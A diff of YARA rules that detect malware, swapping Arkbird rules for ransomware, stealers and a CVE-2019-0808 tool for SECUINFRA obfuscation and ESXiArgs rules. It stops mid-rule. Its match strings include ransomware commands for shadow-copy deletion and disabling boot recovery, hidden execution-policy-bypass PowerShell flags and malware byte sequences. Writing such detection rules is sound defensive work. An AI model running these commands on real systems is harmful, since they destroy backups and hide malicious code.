-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-16/RAN_Conti_Dec_2021_1.yara#L1-L19"
+		description = "Detecs reversed StartUp Path. Sometimes used as obfuscation"
+		author = "SECUINFRA Falcon Team"
+		id = "ecb96e30-0ac0-530a-83af-bb030f7dce4c"
+		date = "2022-02-27"
+		modified = "2022-02-27"
+		reference = "https://github.com/SIFalcon/Detection"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Obfuscation/vbs_obfuscation.yar#L2-L13"
 		license_url = "N/A"
-		logic_hash = "038ad0c7ffcabcaf85de1adadf8a386063f96d5cd0e348a3cea4ea3b7b10fe70"
+		logic_hash = "7b4d56d3bbe8d16d5e01fa9a021a368feb28b8b062860df76a2569966a97b8bc"
 		score = 75
-		quality = 75
+		quality = 70
 		tags = "FILE"
-		hash1 = "a05c8129e607c6d0976d79f69c6a020d15767a9ef3a9c9f1570c5193a7b5b76b"
-		hash2 = "3125aa67fc6e09a00aad39e0eb8024b849d54de353b1a45b5297d4c5d5e87941"
-		hash3 = "03597628e999d791f4cc442328024235db9a929467a62ef0a00c91a76161f0e1"
-		tlp = "white"
-		adversary = "RAAS"
 
 	strings:
-		$s1 = { 81 ec 78 0b 00 00 c6 45 c4 00 c6 45 c5 48 c6 45 c6 45 c6 45 c7 64 c6 45 c8 45 c6 45 c9 46 c6 45 ca 45 c6 45 cb 46 c6 45 cc 45 53 c6 45 cd 45 bb 7f 00 00 00 c6 45 ce 45 8a 45 c5 80 7d c4 00 56 57 8b f9 75 2c 33 f6 66 0f 1f 44 00 00 8a 44 35 c5 b9 45 00 00 00 0f b6 c0 2b c8 6b c1 1b 99 f7 fb 8d 42 7f 99 f7 fb 88 54 35 c5 46 83 fe 0a 72 dc 8d 45 c5 89 85 88 f4 ff ff c6 45 b8 00 c6 45 b9 65 c6 45 ba 32 c6 45 bb 45 c6 45 bc 32 c6 45 bd 43 c6 45 be 32 c6 45 bf 6d c6 45 c0 32 c6 45 c1 32 c6 45 c2 32 8a 45 b9 80 7d b8 00 75 29 33 f6 8a 44 35 b9 b9 32 00 00 00 0f b6 c0 2b c8 8d 04 49 c1 e0 03 99 f7 fb 8d 42 7f 99 f7 fb 88 54 35 b9 46 83 fe 0a 72 d9 8d 45 b9 89 85 8c f4 ff ff 8d 8d 34 f7 ff ff c6 85 34 f7 ff ff 00 c6 85 35 f7 ff ff 6d c6 85 36 f7 ff ff 11 c6 85 37 f7 ff ff 54 c6 85 38 f7 ff ff 11 c6 85 39 f7 ff ff 58 c6 85 3a f7 ff ff 11 c6 85 3b f7 ff ff 58 c6 85 3c f7 ff ff 11 c6 85 3d f7 ff ff 5a c6 85 3e f7 ff ff 11 c6 85 3f f7 ff ff 56 c6 85 40 f7 ff ff 11 c6 85 41 f7 ff ff 11 c6 85 42 f7 ff ff 11 8a 85 35 f7 ff ff e8 e2 a2 00 00 89 85 90 f4 ff ff c6 85 c4 f8 ff ff 00 c6 85 c5 f8 ff ff 18 c6 85 c6 f8 ff ff 0c c6 85 c7 f8 ff ff 57 c6 85 c8 f8 ff ff 0c c6 85 c9 f8 ff ff 52 c6 85 ca f8 ff ff 0c c6 85 cb f8 ff ff 52 c6 85 cc f8 ff ff 0c c6 85 cd f8 ff ff 10 c6 85 ce f8 ff ff 0c c6 85 cf f8 ff ff 52 c6 85 d0 f8 ff ff 0c c6 85 d1 f8 ff ff 0c c6 85 d2 f8 ff ff 0c 8a 85 c5 f8 ff ff 80 bd c4 f8 ff ff 00 75 2a 33 c9 66 90 8a 84 0d c5 f8 ff ff 0f b6 c0 83 e8 0c 6b c0 19 99 f7 fb 8d 42 7f 99 f7 fb 88 94 0d c5 f8 ff ff 41 83 f9 0e 72 da 8d 85 c5 f8 ff ff 89 85 94 f4 ff ff c6 85 04 f9 ff ff 00 c6 85 05 f9 ff ff 74 c6 85 06 f9 ff ff 4d c6 85 07 f9 ff ff 23 c6 85 08 f9 ff ff 4d c6 85 09 f9 ff ff 72 c6 85 0a f9 ff ff 4d c6 85 0b f9 ff ff 72 c6 85 0c f9 ff ff 4d c6 85 0d f9 ff ff 5a c6 85 0e f9 ff ff 4d c6 85 0f f9 ff ff 42 c6 85 10 f9 ff ff 4d c6 85 11 f9 ff ff 4d c6 85 12 f9 ff ff 4d 8a 85 05 f9 ff ff 80 bd 04 f9 ff ff 00 75 2c 33 c9 0f 1f 40 00 8a 84 0d 05 f9 ff ff 0f b6 c0 83 e8 4d 6b c0 25 99 f7 fb 8d 42 7f 99 f7 fb 88 94 0d 05 f9 ff ff 41 83 f9 0e 72 da 8d 85 05 f9 ff ff 89 85 98 f4 ff ff c6 85 f4 f8 ff ff 00 c6 85 f5 f8 ff ff 46 c6 85 f6 f8 ff ff 02 c6 85 f7 f8 ff ff 2e c6 85 f8 f8 ff ff 02 c6 85 f9 f8 ff ff 3c c6 85 fa f8 ff ff 02 c6 85 fb f8 ff ff 3c c6 85 fc f8 ff ff 02 c6 85 fd f8 ff ff 43 c6 85 fe f8 ff ff 02 c6 85 }
-		$s2 = { c7 85 b8 f7 ff ff 00 00 00 00 8d 8d 60 f7 ff ff c6 85 60 f7 ff ff 00 c6 85 61 f7 ff ff 36 c6 85 62 f7 ff ff 7a c6 85 63 f7 ff ff 29 c6 85 64 f7 ff ff 7a c6 85 65 f7 ff ff 29 c6 85 66 f7 ff ff 7a c6 85 67 f7 ff ff 69 c6 85 68 f7 ff ff 7a c6 85 69 f7 ff ff 37 c6 85 6a f7 ff ff 7a c6 85 6b f7 ff ff 74 c6 85 6c f7 ff ff 7a c6 85 6d f7 ff ff 0f c6 85 6e f7 ff ff 7a c6 85 6f f7 ff ff 75 c6 85 70 f7 ff ff 7a c6 85 71 f7 ff ff 1d c6 85 72 f7 ff ff 7a c6 85 73 f7 ff ff 00 c6 85 74 f7 ff ff 7a c6 85 75 f7 ff ff 7a c6 85 76 f7 ff ff 7a 8a 85 61 f7 ff ff e8 e7 bb 00 00 6a 07 68 8f cf af 70 ba 19 00 00 00 8b f0 e8 04 db ff ff 83 c4 08 56 ff d0 8b 8d b4 f7 ff ff 8d b5 b8 f7 ff ff 56 ff b5 a8 f7 ff ff 8b 11 6a 00 6a 00 6a 00 6a 00 6a 00 50 51 ff 52 0c 8b f0 c7 85 8c f7 ff ff d6 00 6a 00 8b 85 8c f7 ff ff 99 f7 fb 85 d2 74 50 8b 8d 8c f7 ff ff 8b 85 b8 f7 ff ff 83 c0 02 03 c1 89 85 8c f7 ff ff 8b 85 8c f7 ff ff 25 03 00 00 80 79 05 48 83 c8 fc 40 0f 85 50 01 00 00 66 90 ff 85 8c f7 ff }
-		$s3 = { 75 f5 88 8d 50 f6 ff ff c6 85 51 f6 ff ff 48 c6 85 52 f6 ff ff 20 c6 85 53 f6 ff ff 5e c6 85 54 f6 ff ff 20 c6 85 55 f6 ff ff 7d c6 85 56 f6 ff ff 20 c6 85 57 f6 ff ff 39 c6 85 58 f6 ff ff 20 c6 85 59 f6 ff ff 33 c6 85 5a f6 ff ff 20 c6 85 5b f6 ff ff 2a c6 85 5c f6 ff ff 20 c6 85 5d f6 ff ff 33 c6 85 5e f6 ff ff 20 c6 85 5f f6 ff ff 4d c6 85 60 f6 ff ff 20 c6 85 61 f6 ff ff 6e c6 85 62 f6 ff ff 20 c6 85 63 f6 ff ff 48 c6 85 64 f6 ff ff 20 c6 85 65 f6 ff ff 4d c6 85 66 f6 ff ff 20 c6 85 67 f6 ff ff 1b c6 85 68 f6 ff ff 20 c6 85 69 f6 ff ff 3a c6 85 6a f6 ff ff 20 c6 85 6b f6 ff ff 52 c6 85 6c f6 ff ff 20 c6 85 6d f6 ff ff 47 c6 85 6e f6 ff ff 20 c6 85 6f f6 ff ff 09 c6 85 70 f6 ff ff 20 c6 85 71 f6 ff ff 14 c6 85 72 f6 ff ff 20 c6 85 73 f6 ff ff 7d c6 85 74 f6 ff ff 20 c6 85 75 f6 ff ff 49 c6 85 76 f6 ff ff 20 c6 85 77 f6 ff ff 74 c6 85 78 f6 ff ff 20 c6 85 79 f6 ff ff 1f c6 85 7a f6 ff ff 20 c6 85 7b f6 ff ff 52 c6 85 7c f6 ff ff 20 c6 85 7d f6 ff ff 71 c6 85 7e f6 ff ff 20 c6 85 7f f6 ff ff 5f c6 85 80 f6 ff ff 20 c6 85 81 f6 ff ff 1f c6 85 82 f6 ff ff 20 c6 85 83 f6 ff ff 54 c6 85 84 f6 ff ff 20 c6 85 85 f6 ff ff 33 c6 85 86 f6 ff ff 20 c6 85 87 f6 ff ff 5e c6 85 88 f6 ff ff 20 c6 85 89 f6 ff ff 44 c6 85 8a f6 ff ff 20 c6 85 8b f6 ff ff 0f c6 85 8c f6 ff ff 20 c6 85 8d f6 ff ff 52 c6 85 8e f6 ff ff 20 c6 85 8f f6 ff ff 74 c6 85 90 f6 ff ff 20 c6 85 91 f6 ff ff 13 c6 85 92 f6 ff ff 20 c6 85 93 f6 ff ff 33 c6 85 94 f6 ff ff 20 c6 85 95 f6 ff ff 5e c6 85 96 f6 ff ff 20 c6 85 97 f6 ff ff 52 c6 85 98 f6 ff ff 20 c6 85 99 f6 ff ff 47 c6 85 9a f6 ff ff 20 c6 85 9b f6 ff ff 31 c6 85 9c f6 ff ff 20 c6 85 9d f6 ff ff 5b c6 85 9e f6 ff ff 20 c6 85 9f f6 ff ff 1b c6 85 a0 f6 ff ff 20 c6 85 a1 f6 ff ff 39 c6 85 a2 f6 ff ff 20 c6 85 a3 f6 ff ff 33 c6 85 a4 f6 ff ff 20 c6 85 a5 f6 ff ff 2a c6 85 a6 f6 ff ff 20 c6 85 a7 f6 ff ff 33 c6 85 a8 f6 ff ff 20 c6 85 a9 f6 ff ff 4d c6 85 aa f6 ff ff 20 c6 85 ab f6 ff ff 1f c6 }
+		$reverse = "\\putratS\\smargorP\\uneM" wide nocase
 
 	condition:
-		uint16(0)==0x5A4D and filesize >100KB and all of ($s*)
+		filesize <200KB and $reverse
 }
-rule ARKBIRD_SOLG_MAL_Zstealer_Nov_2021_1 : FILE
+rule SECUINFRA_OBFUS_Powershell_Execution : FILE
 {
 	meta:
-		description = "Detect ZStealer stealer used by Void Balaur group"
-		author = "Arkbird_SOLG"
-		id = "0282884b-569a-5e46-a6ad-d2776ff71ddb"
-		date = "2021-11-11"
-		modified = "2021-11-12"
-		reference = "https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-11/Void_Balaur/MAL_ZStealer_Nov_2021_1.yara#L1-L19"
+		description = "Detects some variations of obfuscated PowerShell code to execute further PowerShell code"
+		author = "SECUINFRA Falcon Team"
+		id = "b32c2a92-599c-5916-a335-dc996dcdc1bf"
+		date = "2022-09-02"
+		modified = "2022-02-27"
+		reference = "https://github.com/SIFalcon/Detection"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Obfuscation/powershell_obfuscation.yar#L1-L17"
 		license_url = "N/A"
-		logic_hash = "c3bec4fb8338ad71577e63f81c22b5d250083f2475f60610de8dccd4979035d3"
+		logic_hash = "b201774edc4a20a0035cd68898a785a6c2fc03fb8739d515196e428d4a88af70"
 		score = 75
-		quality = 75
+		quality = 70
 		tags = "FILE"
-		hash1 = "af89d85a3b579ac754850bd6e52e7516c2e63141107001463486cd01bc175052"
-		hash2 = "5a2c9060f6cc1e6e0fd09b2b194631d2c7e7f024d9e2d3a9be64570e263f565f"
-		tlp = "white"
-		adversary = "Void Balaur"
 
 	strings:
-		$s1 = { 53 33 c0 55 68 71 d3 46 00 64 ff 30 64 89 20 a1 80 7f 7b 00 8b 10 ff 52 44 a1 84 7f 7b 00 8b 10 ff 52 44 8d 45 fc 50 68 80 d3 46 00 68 02 00 00 80 e8 e3 a3 f9 ff 85 c0 0f 85 94 01 00 00 8d 45 f8 ba 00 10 00 00 e8 86 83 f9 ff c7 45 f0 00 10 00 00 33 db e9 49 01 00 00 8d 45 f4 50 6a 00 8d 45 f8 e8 36 82 f9 ff 8d 55 e8 e8 e6 cd f9 ff 8b 4d e8 8d 45 ec ba bc d3 46 00 e8 12 80 f9 ff 8b 55 ec b9 fc d3 46 00 b8 02 00 00 80 e8 d4 d8 ff ff 84 c0 0f 84 01 01 00 00 8d 55 e4 8b 45 f4 e8 c5 c0 f9 ff 8b 55 e4 8d 45 f4 e8 6e 7d f9 ff 8b 55 f4 b8 14 d4 46 00 e8 cd 82 f9 ff 85 c0 7e 32 8d 45 e0 50 8b 55 f4 b8 14 d4 46 00 e8 b8 82 f9 ff 8b c8 83 c1 03 ba 01 00 00 00 8b 45 f4 e8 c2 81 f9 ff 8b 55 e0 a1 80 7f 7b 00 8b 08 ff 51 38 eb 0d 8b 55 f4 a1 80 7f 7b 00 8b 08 ff 51 38 8d 45 f4 50 6a 00 8d 45 f8 e8 90 81 f9 ff 8d 55 d8 e8 40 cd f9 ff 8b 4d d8 8d 45 dc ba bc d3 46 00 e8 6c 7f f9 ff 8b 55 dc b9 24 d4 46 00 b8 02 00 00 80 e8 2e d8 ff ff 84 c0 74 42 8d 45 f8 }
-		$s2 = { 8b d9 88 55 fb 89 45 fc 33 c0 55 68 b3 2e 46 00 64 ff 30 64 89 20 33 d2 8b 45 fc e8 a0 11 fa ff b2 01 a1 2c 74 41 00 e8 94 11 fa ff 8b 55 fc 89 42 0c 8b 45 fc c6 40 08 00 33 c0 89 45 f4 33 d2 55 68 96 2e 46 00 64 ff 32 64 89 22 8d 45 f0 89 5d ec 8b 55 ec e8 9e 21 fa ff 8b 45 fc 83 c0 04 50 8b 45 f0 e8 b7 25 fa ff 50 e8 2d f5 ff ff 83 c4 08 85 c0 74 66 8b 45 fc 8b 40 04 85 c0 74 39 50 e8 26 f5 ff ff 59 89 45 f4 89 5d dc c6 45 e0 0b 8b 45 f4 89 45 e4 c6 45 e8 06 8d 45 dc 50 6a 01 b9 e4 2e 46 00 b2 01 a1 58 2c 46 00 e8 be a1 fa ff e8 9d 19 fa ff eb 23 89 5d d4 c6 45 d8 0b 8d 45 d4 50 6a 00 b9 10 2f 46 00 b2 01 a1 58 2c 46 00 e8 99 a1 fa ff e8 78 19 fa ff 33 c0 5a 59 59 64 89 10 68 9d 2e 46 00 83 7d f4 00 74 0a 8b 45 f4 50 e8 c4 f4 ff ff }
-		$s3 = { 68 1d c7 45 00 64 ff 30 64 89 20 8b c3 e8 d8 89 fa ff 8d 45 fc ba 00 01 00 00 e8 17 90 fa ff c7 45 f8 ff 00 00 00 8d 45 f8 50 8d 45 fc e8 d0 8e fa ff 50 e8 f6 af fa ff c7 45 f4 ff 00 00 00 c7 45 f0 ff 00 00 00 8d 45 ec 50 8d 45 f0 50 8d 85 ec fd ff ff 50 8d 45 f4 50 8d 85 ec fe ff ff 50 8d 45 fc e8 9a 8e fa ff 50 6a 00 e8 d6 af fa ff 85 c0 0f 84 6d 01 00 00 8d 85 ec fe ff ff 50 e8 ba af fa ff 85 c0 0f 84 59 01 00 00 8d 85 ec fe ff ff 50 e8 7e af fa ff 8b f0 8d 85 ec fe ff ff 50 e8 80 af fa ff 0f b6 38 8b c3 ba 34 c7 45 00 e8 89 89 fa ff 80 3e 00 75 }
-		$s4 = { a1 9c c2 49 00 8b 00 e8 e3 82 01 00 8b 93 88 01 00 00 8b 08 ff 51 54 8b f8 85 ff 7c 15 a1 9c c2 49 00 8b 00 e8 c6 82 01 00 8b d7 8b 08 ff 51 18 8b f0 6a 01 56 e8 e1 f2 fc ff 8b c3 e8 be 17 00 00 8a 93 84 01 00 00 e8 2f 61 00 00 33 c0 5a 59 59 }
-		$s5 = { 45 72 72 6f 72 20 5b 25 64 5d 3a 20 25 73 2e 0d 22 25 73 22 3a 20 25 73 00 00 ff ff ff ff 0a 00 00 00 4e 6f 20 6d 65 73 73 61 67 65 }
+		$a1 = "-nop -w hiddEn -Ep bypass -Enc" ascii nocase
+		$a2 = "-noP -sta -w 1 -enc" ascii nocase
+		$b1 = "SQBFAF"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >300KB and all of them
+		filesize <300KB and $b1 and 1 of ($a*)
 }
-rule ARKBIRD_SOLG_APK_Droidwatcher_Nov_2021_1 : FILE
+rule SECUINFRA_OBFUS_Powershell_Replace_Tilde : FILE
 {
 	meta:
-		description = "Detect modified DroidWatcher stealer used by Void Balaur group"
-		author = "Arkbird_SOLG"
-		id = "04e02521-d89a-5f72-8b6f-0350f6defdd0"
-		date = "2021-11-11"
-		modified = "2021-11-12"
-		reference = "https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-11/Void_Balaur/APK_DroidWatcher_Nov_2021_1.yara#L1-L19"
+		description = "Detects usage of Replace to replace tilde. Often observed in obfuscation"
+		author = "SECUINFRA Falcon Team"
+		id = "59b68982-01ae-588a-9802-bb92c72342a8"
+		date = "2022-10-02"
+		modified = "2022-02-27"
+		reference = "https://bazaar.abuse.ch/sample/4c391b57d604c695925938bfc10ceb4673edd64e9655759c2aead9e12b3e17cf/"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Obfuscation/powershell_obfuscation.yar#L19-L32"
 		license_url = "N/A"
-		logic_hash = "c16bcdd5d9cd6a3cbb527893e13ac967211d1686edd9f7ae03e37feada725a1b"
-		score = 50
-		quality = 75
+		logic_hash = "a2693757f9aedc1019a94a15ae00f87af852d319aa698dadd7f9bb98128622a0"
+		score = 75
+		quality = 70
 		tags = "FILE"
-		hash1 = "902c5f46ac101b6f30032d4c5c86ecec115add3605fb0d66057130b6e11c57e6"
-		tlp = "white"
-		level = "Experimental"
-		adversary = "Void Balaur"
 
 	strings:
-		$s1 = { 38 50 F4 59 CC FF F3 37 65 28 4F 35 1A D2 83 C9 6C E0 20 27 38 C5 39 2E 72 95 5B 3C E0 29 D1 9E C7 0C A4 21 1B 55 09 A5 0B 83 99 C8 7C D6 F2 0F 47 B9 CE 43 82 5E C4 0C }
-		$s2 = { 3C E2 39 81 D4 EA 82 1F F8 83 42 54 A0 2E 6D E8 C5 44 E6 B0 92 13 5C E6 21 EF 89 9D 26 28 90 8C 3C 94 A3 36 AD E9 CD 48 26 B2 92 1D 1C E4 34 57 B9 C7 2B A2 7D 1E 14 A8 4A 4D 5A D3 8E 2E F4 A4 1F 83 19 C1 58 A6 32 9B 05 2C 63 03 DB B9 42 }
-		$s3 = { F0 96 6F 33 59 1B BA 32 82 8D 5C 22 28 B3 1E 4C 65 BA 31 99 4D 1C E0 2E 89 7E F3 1E 94 A7 13 13 08 E7 22 31 7E D7 EB 28 42 53 46 B0 81 73 7C 22 E3 1F 62 4E 17 66 B2 8F 47 A4 CA A2 D6 68 C9 44 36 72 9D 78 7F 7A 16 B5 18 CA 5A 4E F2 92 74 59 }
-		$s4 = { 3D 57 89 56 4D 9E 51 9C CE 2C 20 92 B8 D5 C5 81 7A 8C 65 03 17 F9 C0 77 35 5C 4F 0B 26 B0 99 0B C4 A9 69 5D A9 44 0F 66 F2 2F F7 48 5C 4B 7E 50 9D 41 2C E0 34 AF 89 5F 5B 9E 50 92 C6 F4 65 3C 0B D8 CA 1E CE F3 80 CF EA B8 9E 94 A4 E5 37 72 51 88 0A 34 A3 2F 03 19 CE 41 22 B8 C9 5D 1E F2 82 77 44 AF AB }
-		$s5 = { FA D6 A4 0F EB 79 42 D2 76 F6 54 BA B2 9A 27 FC D0 5E 9E 30 8D 2B 24 E9 A0 AE A8 41 33 06 32 84 51 8C 63 12 33 98 CF 72 36 B0 8B 83 1C E3 12 D7 B8 CD 63 5E 13 B3 A3 FE 45 06 8A D0 80 3E 0C 66 32 33 59 C6 66 0E 10 C1 39 AE F3 84 D7 C4 EF E4 EC C8 37 64 22 17 F9 28 42 45 3A 31 9E A5 EC E1 14 37 79 C0 DB FF FD B6 B3 E7 F3 3B 45 A9 45 28 E3 D9 }
+		$a = ".Replace(\"~\",\"0\")"
 
 	condition:
-		uint32be(0)==0x504B0304 and filesize >300KB and 4 of them
+		filesize <400KB and $a
 }
-rule ARKBIRD_SOLG_Ran_Regretlocker_Oct_2020_1 : FILE
+rule SECUINFRA_OBFUS_Javascript_Wscript_Hex_Strings_Usage
 {
 	meta:
-		description = "Detect RegretLocker ransomware"
-		author = "Arkbird_SOLG"
-		id = "a8d58402-15e2-5d20-8d33-2e7a3f8973fd"
-		date = "2020-11-04"
-		modified = "2020-11-04"
-		reference = "https://twitter.com/VK_Intel/status/1323693700371914753"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-04/RegretLocker/Ran_RegretLocker_Oct_2020_1.yar#L1-L24"
+		description = "Detects the frequent usage of Wscript to get an hex encoded string from an array and interpret it. Used by e.g WSHRAT"
+		author = "SECUINFRA Falcon Team"
+		id = "dd55753e-4f7b-56be-a6d4-66f1d7dc8747"
+		date = "2022-12-02"
+		modified = "2022-02-13"
+		reference = "https://github.com/SIFalcon/Detection"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Obfuscation/javascript_obfuscation.yar#L2-L19"
 		license_url = "N/A"
-		logic_hash = "2c63bdcee6f2a9025d3a1f73f3a38ec58da103752b88bd3a6bf79d85d8f92e4d"
+		logic_hash = "62bc3261b3c2e902a82423239a7ee0bcedfccbeeeda11833b935197144dc7c35"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "a188e147ba147455ce5e3a6eb8ac1a46bdd58588de7af53d4ad542c6986491f4"
+		quality = 70
+		tags = ""
 
 	strings:
-		$seq1 = { b8 05 dd 44 00 e8 07 7d 00 00 81 ec b0 06 00 00 53 56 33 db c7 45 cc 07 00 00 00 33 c0 89 5d c8 57 66 89 45 b8 40 c7 85 7c ff ff ff 02 00 00 00 c7 45 e0 ec 4a 98 ec 8d 75 e0 c7 45 e4 f9 a0 e9 47 8d 7d 80 c7 45 e8 90 1f 71 41 c7 45 ec 5a 66 34 5b 89 45 90 89 45 b0 89 45 b4 8d 45 d0 50 a5 8d 45 b0 50 53 68 00 00 3f 00 ff 75 0c a5 8d 85 7c ff ff ff 50 89 5d fc a5 a5 e8 76 50 00 00 85 c0 74 32 ff 15 74 00 45 00 50 68 88 1b 45 00 e8 ab de ff ff 8b 75 08 8d 45 b8 59 59 88 5d f0 8b ce ff 75 f0 89 5e 10 50 89 5e 14 e8 bb 50 ff ff e9 cb 01 00 00 53 8d 45 90 50 53 6a 04 53 ff 75 d0 e8 35 50 00 00 85 c0 74 08 50 68 bc 1b 45 00 eb bd 33 c0 8d bd 4c fb ff ff b9 82 00 00 00 be 04 01 00 00 f3 ab 8d 85 4c fb ff ff 89 75 d4 50 8d 45 d4 83 cb ff 50 ff 75 d0 e8 02 50 00 00 83 65 e8 00 8d 4d d8 33 c0 6a 07 5f 66 89 45 d8 8d 85 4c fb ff ff 50 89 7d ec e8 c6 6d ff ff 6a ff 68 f4 1b 45 00 8d 4d d8 c6 45 fc 01 e8 fd e8 ff ff 83 f8 ff 74 38 83 65 a8 00 33 c9 6a ff 50 8d 45 d8 66 89 4d 98 50 8d 4d 98 89 7d ac e8 3d df ff ff 83 7d ac 08 8d 45 98 0f 43 45 98 50 e8 bc 58 02 00 59 8d 4d 98 8b d8 e8 dd 69 ff ff 56 8d 85 54 fd ff ff 50 ff 15 f0 00 45 00 8b f8 8d 85 54 fd ff ff 50 8d 4d d8 e8 57 6d ff ff 8b 4d ec 8d 45 d8 8b 55 d8 83 f9 08 8b 75 e8 0f 43 c2 66 83 7c 70 fe 5c 75 16 83 f9 08 8d 45 d8 0f 43 c2 33 c9 66 89 4c 70 fe 8b 4d ec 8b 55 d8 83 f9 08 8d 45 d8 0f 43 c2 33 c9 51 51 6a 03 51 6a 03 51 50 ff 15 dc 00 45 00 8b f0 83 fe ff 74 7e 33 c9 8d 45 d4 51 50 68 04 01 00 00 8d 85 5c ff ff ff 50 51 51 68 00 00 56 00 56 ff 15 84 01 45 00 39 9d 64 ff ff ff 75 2c 8d 45 d4 50 68 04 01 00 00 8d 85 44 f9 ff ff 50 8d 85 54 fd ff ff 50 ff 15 08 01 45 00 8d 85 44 f9 ff ff 50 8d 4d b8 e8 b1 6c ff ff 56 ff 15 a8 00 45 00 68 04 01 00 00 8d 85 54 fd ff ff 50 57 ff 15 f8 00 45 00 85 c0 0f 85 29 ff ff ff 57 ff 15 fc 00 45 00 8b 75 08 33 c0 88 45 f0 8b ce ff 75 f0 89 46 10 89 46 14 8d 45 b8 50 e8 f3 4e ff ff 8d 4d d8 e8 cb 68 ff ff 8d 4d b8 e8 c3 68 ff ff 8b 4d f4 8b c6 5f 5e 5b 64 89 0d 00 00 00 00 c9 }
-		$seq2 = { 89 7d e4 e8 d5 a9 ff ff c7 04 24 88 02 00 00 6a 40 ff 15 28 01 45 00 8b f0 c7 45 d4 88 02 00 00 8d 45 d4 89 75 e8 50 56 e8 78 1b 00 00 83 f8 6f 75 17 56 ff 15 2c 01 45 00 ff 75 d4 6a 40 ff 15 28 01 45 00 8b f0 89 45 e8 8d 45 d4 50 56 e8 52 1b 00 00 85 c0 0f 84 }
-		$com1 = "bcdedit.exe / set{ default } bootstatuspolicy ignoreallfailures" fullword ascii
-		$com2 = { 63 6d 64 2e 65 78 65 00 20 26 20 00 2f 43 20 70 69 6e 67 20 31 2e 31 2e 31 2e 31 20 2d 6e 20 31 20 2d 77 20 33 30 30 30 20 3e 20 4e 75 6c 20 26 20 44 65 6c 20 2f 66 20 2f 71 20 22 25 73 22 }
-		$com3 = "bcdedit.exe / set{ default } recoveryenabled No" fullword ascii
-		$com4 = "vssadmin.exe Delete Shadows / All / Quiet" fullword ascii
-		$com5 = "schtasks /Create /SC MINUTE /TN " fullword ascii
-		$com6 = "schtasks /Delete /TN " fullword ascii
-		$str1 = { 47 45 54 20 25 73 20 48 54 54 50 2f 31 2e 30 0d 0a 48 6f 73 74 3a 20 25 73 }
-		$str2 = { 50 4f 53 54 20 25 73 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 25 73 }
-		$str3 = "Content-Type: application/x-www-form-urlencoded" fullword ascii
+		$wscript = "= WScript["
+		$hex_enc_str1 = "\\x63\\x72\\x65\\x61"
+		$hex_enc_str2 = "\\x73\\x63\\x72\\x69"
+		$hex_enc_str3 = "\\x71\\x75\\x69\\x74"
+		$hex_enc_str4 = "\\x41\\x72\\x67\\x75"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >200KB and all of ($seq*) and 4 of ($com*) and 2 of ($str*)
+		#wscript>30 and 2 of ($hex_enc_str*)
 }
-import "pe"
-
-rule ARKBIRD_SOLG_APT_Patchwork_Tool_CVE_2019_0808_1 : FILE
+rule SECUINFRA_RANSOM_Esxiargs_Ransomware_Python_Feb23
 {
 	meta:
-		description = "Detect CVE 2019-0808 tool used by Patchwork group"
-		author = "Arkbird_SOLG"
-		id = "169255fe-dd7a-5a4e-8f0f-d84a0cf5c684"
-		date = "2020-08-27"
-		modified = "2021-07-13"
-		reference = "https://blog.exodusintel.com/2019/05/17/windows-within-windows/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-27/APT_Patchwork_Tool_CVE_2019_0808_1.yar#L3-L34"
+		description = "Detects the ESXiArgs Ransomware encryption bash script"
+		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+		id = "6e2d6695-b727-5b71-bfa0-e8290e057c36"
+		date = "2023-02-07"
+		modified = "2023-02-07"
+		reference = "https://secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_ESXiArgs_Ransomware_Python_Feb23.yar#L1-L31"
 		license_url = "N/A"
-		logic_hash = "e66df5d69d64c00cb68ff7bea0f7a7eec6657aff83d0f6cdb48d908bae8bcec8"
-		score = 50
-		quality = 75
-		tags = "FILE"
-		hash1 = "49f8a9203e5055777a67490923243405b9aa519016645fd75731c53cbf02073c"
-		level = "Experimental"
+		logic_hash = "b821d1829ab4fb5eea896156a303198d6531d734196f0f947aef5d46754e6ccb"
+		score = 75
+		quality = 70
+		tags = ""
+		tlp = "CLEAR"
 
 	strings:
-		$asm1 = { 8b 3d 44 21 01 10 6a 00 6a 00 6a 01 6a 01 6a 00 6a 00 68 00 00 00 08 68 e4 7e 01 10 68 e8 7e 01 10 6a 00 ff d7 50 68 f0 7e 01 10 a3 c8 a2 01 10 e8 e8 f7 ff ff 8b 35 68 21 01 10 8d 84 24 5c 01 00 00 83 c4 08 c7 84 24 54 01 00 00 1c 00 00 00 0f 57 c0 c7 84 24 58 01 00 00 10 00 00 00 66 0f 13 84 24 60 01 00 00 66 0f 13 84 24 68 01 00 00 50 ff b4 24 1c 01 00 00 c7 84 24 64 01 00 00 00 00 00 60 ff d6 8d 84 24 54 01 00 00 50 ff 74 24 10 ff d6 8b 35 5c 21 01 10 68 04 7f 01 10 ff 74 24 10 68 10 04 00 00 ff b4 24 24 01 00 00 ff }
